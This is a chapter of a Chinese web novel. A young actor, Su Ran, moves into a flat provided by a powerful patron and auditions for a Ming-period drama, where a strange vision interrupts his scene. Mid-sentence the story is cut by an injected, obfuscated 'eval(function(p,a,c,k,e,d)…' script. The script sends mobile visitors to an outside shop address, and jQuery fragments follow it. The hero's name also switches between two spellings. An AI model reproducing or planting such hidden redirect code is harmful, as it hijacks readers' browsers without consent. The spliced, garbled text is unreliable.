一切都显得那么不真实。
巨大的转折来得太快，像一块坚冰砸了过来，激起的不是暖流，而是一种更深的、混杂着震惊、茫然和隐隐不安的震颤。
“新的住处已经准备好了，在离公司不远的‘云汀公寓’，安保和隐私性都很好，生活用品基本齐全，缺什么可以随时告诉我。这是门禁卡和钥匙。”她递过来一个装着卡片和钥匙的信封，接着又拿出一个崭新的手机，“工作电话，里面存了必要的联系方式，包括我的。你的私人手机可以保留，但工作期间请以这部为主。”
她语速平稳，显然对这套流程驾轻就熟。苏燃接过东西，低声道谢。
电梯下行，小慧似乎察觉到苏燃紧绷的情绪和眼底的茫然，在只有两人的密闭空间里，她侧过头，声音放低了些，带着一种安抚和点到即止的宽慰。
“以后你也跟大家一样，叫‘萧哥’就行。外人一般称‘萧老师’或‘萧先生’，”她顿了顿，斟酌了一下词句笑道，“萧哥做事有他的规矩和标准，有时虽然严厉一点，但对我们都很照顾。时间长了，你就知道了。”
苏燃捏紧手中文件，心中那模糊的不安渐渐沉淀下来，转化为一种更加复杂的认知。陈铎阴沉挫败的脸色，办公室内无形的重压，与眼前小慧这种“习以为常”的平静交织在一起，勾勒出萧景淮其人的一个模糊侧影——一个绝对的控制者，他的世界里，奖惩分明，秩序森严，跟随者需彻底适应他的规则，而适应的代价与收获，或许就如小慧轻描淡写所言，需要时间才能体会。
“云汀公寓”位于一个闹中取静的高档社区，入户大堂低调奢华。小慧带他进入一个宽敞的房间，装修是现代简约风格，色调以灰、白、原木为主，视野开阔，设施崭新，一切精致得无可挑剔，却也……没有多少生活气息。
“今天你先休息，熟悉一下环境。明天下午一点，我会准时过来接你试镜。剧本请务必好好准备。”小慧站在门口，最后叮嘱道，“有任何事，随时电话。”
门轻轻关上，将外界的一切隔绝。
苏燃独自站在空旷的客厅中央，阳光穿透整面落地窗泼洒进来，给冰冷的家具镀上一层虚幻的暖光。他走到窗边，俯瞰不一样的城市街景，只觉这一天的经历恍然如梦。手中的合约、剧本、门卡、手机……这些实实在在的东西，却提醒着他白天的遭遇并非虚幻。
片场的空气里悬浮着檀灰与湿木的气味。
苏然站在仿建的明代别院中庭，身上那件月白色直裰的料子比看上去沉得多，织银暗纹在檐下阴影里泛着水藻般的幽光。化妆师刚才在他眼尾补了点胭脂，为了遮住那个过于醒目的红点。粉扑按上皮肤的瞬间，他无端想起离开家那天早上，妈妈给他喝的蜂蜜水，水是温的，甜得发苦。
“苏老师，这边走。”
场务是个圆脸小姑娘，说话时不敢直视他的眼睛，只盯着他腰间那块仿古玉佩。苏然跟着她穿过回廊，木质地板在脚下发出空心的回响。沿途遇到几个工作人员，都匆匆点头便避开，眼神里混着好奇与某种刻意保持的距离。他知道原因，训练营即将清退的小透明，没有任何拿得出手的成绩，空降平台S级定制，大IP，男一号，这组合足够成为剧组茶余饭后嚼上两个月的谈资。
拍摄地在别院最深处的“听雪轩”。说是轩，其实是座半悬在水上的木构建筑，三面轩窗敞开，正对着一池枯荷。时值深秋，荷茎焦黑蜷曲，在水面投下狰狞的抓痕似的倒影。
导演赵成，是个头发花白的中年人，业界口碑是“能把偶像拍出老戏骨的质感”。此刻他正盯着监视器，眉头拧成疙瘩。听见脚步声，头也不抬地招手：“来了？先走一遍位。这场戏是你回府后第一次见父亲，情绪要收着，但收不等于木，明白吗？”
剧本苏然已经倒背如流。他试戏的沈归鹤，离家十二载后奉诏回京，面对的却是家族卷入谋逆案的风口浪尖。这场父子重逢的戏，字面上只有请安、问询、领命三组对话，字面下全是试探与算计。
和他搭戏的老演员姓谭，国家话剧院的台柱子。老爷子已经扮上了，绛紫色蟒袍，山羊须，坐在太师椅里闭目养神，听见动静才掀开眼皮。那一眼没什么情绪，却让苏然后背肌肉下意识绷紧，那是真正浸淫舞台几十年才能淬炼出的气场，沉，且利。
“赵导，”谭老师开口，声音不高，自带混响，“我先跟年轻人聊聊？”
赵导挥挥手，算是同意。
谭老爷子没起身，只拍了拍身侧另一张椅子。苏然走过去坐下，姿态是训练过的端正，肩背挺直，双手虚搭在膝上。
“放松点。”老爷子忽然笑了，眼角皱纹堆叠起来，方才那股迫人的气势消散不少，“戏是假的，但人是真的。你怕我？”
苏然怔了怔，老实点头：“有点。”
“怕就对了。”谭老爷子捻着须尖，“沈归鹤见他爹时也怕。怕认不出，怕被认出来，更怕这十二年山海相隔，回来却发现什么都没变，家还是那个吃人的家。”他顿了顿，目光落在苏然脸上，像是在打量一件瓷器上的釉色，“你眼尾这点红，是天生的？”
苏然抬手想摸，又止住：“……最近才有的。”
“留着吧。”老爷子说得随意，“沈归鹤在山上那些年，说不定也遇到过什么，落下点痕迹。演戏嘛，七分在剧本，三分在演员自己身上带着的故事。”
这话说得玄，苏然却听进去了。他忽然想起那份文件夹里的画，画中少年腕间的朱砂点。化妆师想遮掉的，或许正是角色该有的印记。
场记板打响。
“《踏鹤归》第三场一镜一次！”
苏然深吸一口气，迈过门槛。
机位从背后推近，他月白色的身影缓缓步入昏暗厅堂。窗外天光是阴沉的灰白，透过棂花窗格，在地面切出菱形的、囚笼似的光斑。太师椅上的父亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228475|197577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逆光而坐，面目模糊，只有蟒袍上的金线偶尔反射一线冷芒。
苏然站定，撩袍，屈膝。动作是武术指导设计过的，流畅里带着刻意训练出的顿挫，像一把刀收入鞘中前最后那一下轻震。
“不孝子归鹤，拜见父亲大人。”
声音压得低，尾音收得干净，没有抖音。这是训练营一字一句抠出来的“世家子腔调”，此刻从自己喉咙里发出，竟有种诡异的陌生感。
监视器后，赵导身体微微前倾。
镜头切到特写。苏然低垂的眼睫，微微抿紧的唇角，还有那抹未被胭脂完全掩盖的、眼尾透出的淡红。光线从侧上方打下，在那红点上凝成极小的、宝石似的高光。
谭老爷子的反应更精妙。他没有立刻叫起，而是让沉默在空气里膨胀了几秒，才缓缓开口，声音像陈年的生铁：“起来吧。山上风露重，瞧着，倒是没磋磨掉你一身骨头。”
话里有话。苏然起身，依旧垂着眼：“父亲教诲，不敢忘。”
“不敢忘？”父亲轻笑一声，那笑意没到眼底，“那你倒是说说，陛下召你回京，所为何事？”
台词是剧本上的，但语气里的威压是谭老爷子自己加的。苏然感到一股真实的寒意顺着脊椎爬上来。他应该按照剧本接词，说些“儿臣惶恐”“但凭圣意”之类的套话。可就在开口前的一刹那，他忽然“看见”了一些东西——
不是想象，是更直接的画面。仿佛记忆被撕开一道口子：同样是昏暗的厅堂，同样是居高临下的注视，但场景更古旧，空气里有檀香混着草药的苦味。俯视他的那双眼睛，不是谭老爷子的，而是另一双……更冷，更空，眼底沉淀着某种非人的、金褐色的光。
“咔！”
赵导的声音把他拽回现实。
“苏然，台词！”导演从监视器后探头，语气不算差，但透着焦躁，“发什么愣？重来！”
“对不起导演。”苏然立刻道歉，后背惊出一层冷汗。刚才那是什么？入戏太深的幻觉？还是……
“准备，第三场一镜二次！”
场记板再次打响。
这次苏然没再走神。台词流畅，情绪到位，几个走位和眼神交换都精准踩点。赵导喊“过”的时候，脸上终于有了点笑意：“不错，有点意思了。休息十分钟，准备下一镜。”
苏然走到休息区，助理小慧递来保温杯。水温刚好，但他喝得心不在焉。方才那瞬间的幻觉太真实，真实到让他怀疑自己是不是真的在某个时空，经历过类似的对峙。
苏然放下保温杯，转身时，目光无意间扫过听雪轩外的荷塘。枯槁的茎叶在风中轻颤，水面倒映着铅灰色天空，还有他自己，月白直裰，玉冠束发，一个精心复刻的、明代世子的倒影。
虚影碰触虚影，涟漪无声扩散。
萧景淮坐在另一端水榭里的椅子上，瞥了眼苏燃水中倒影，嘴角勾起一丝不易察觉的弧度。